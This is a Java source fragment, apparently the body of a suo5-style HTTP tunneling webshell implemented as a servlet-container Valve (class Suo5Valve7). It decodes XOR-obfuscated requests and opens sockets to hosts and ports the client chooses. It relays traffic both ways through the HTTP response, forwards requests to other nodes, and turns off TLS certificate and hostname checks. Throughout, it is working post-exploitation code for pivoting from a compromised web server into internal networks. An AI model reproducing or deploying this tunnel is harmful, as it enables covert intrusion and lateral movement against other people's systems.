private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Valve7 p = new Suo5Valve7(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}